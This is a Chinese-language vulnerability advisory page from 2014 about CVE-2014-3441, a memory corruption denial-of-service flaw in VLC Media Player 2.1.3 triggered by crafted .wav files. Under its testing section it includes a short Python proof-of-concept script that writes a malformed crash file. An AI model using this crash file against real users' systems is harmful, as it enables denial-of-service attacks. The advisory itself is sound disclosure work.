当前位置： 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

VLC Media Player \'.wav\'文件内存破坏漏洞

     发表日期：2014-05-09 16:42:00

VLC Media Player \'.wav\'文件内存破坏漏洞

BugTraq-ID:67315

CVE-ID:CVE-2014-3441

 

受影响系统：

VideoLAN VLC Media Player 2.1.3

详细信息：

 

VLC Media Player是多媒体播放器。

 

 

 

VLC Media Player 2.1.3 及其他版本存在内存破坏漏洞，攻击者可利用此漏洞造成拒绝服务。

 

 

来源：

Aryan Bayaninejad

测试方法：

警  告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！#!/usr/bin/python

 

data =

 

"\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A\\x00\\x00\\x00\\x0D\\x49\\x48\\x44\\x52\\x7F\\xFF\\xFF\\xFF\\x00\\x00\\x01\\x02\\x01\\x03\\x00\\x00\\x00\\xBA\\x1B\\xD8\\x84\\x00\\x00\\x00\\x03\\x50\\x4C\\x54\\x45\\xFF\\xFF\\xFF\\xA7\\xC4\\x1B\\xC8\\x00\\x00\\x00\\x01\\x74\\x52\\x4E\\x53\\x00\\x40\\xE6\\xD8\\x66\\x00\\x68\\x92\\x01\\x49\\x44\\x41\\x54\\xFF\\x05\\x3A\\x92\\x65\\x41\\x71\\x68\\x42\\x49\\x45\\x4E\\x44\\xAE\\x42\\x60\\x82"

 

outfile = file("poc.wave", \'wb\')

 

outfile.write(data)

 

outfile.close()

 

print "Created Poc"

解决办法：

厂商补丁：

 

VideoLAN

--------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

 

 

 

http://www.videolan.org/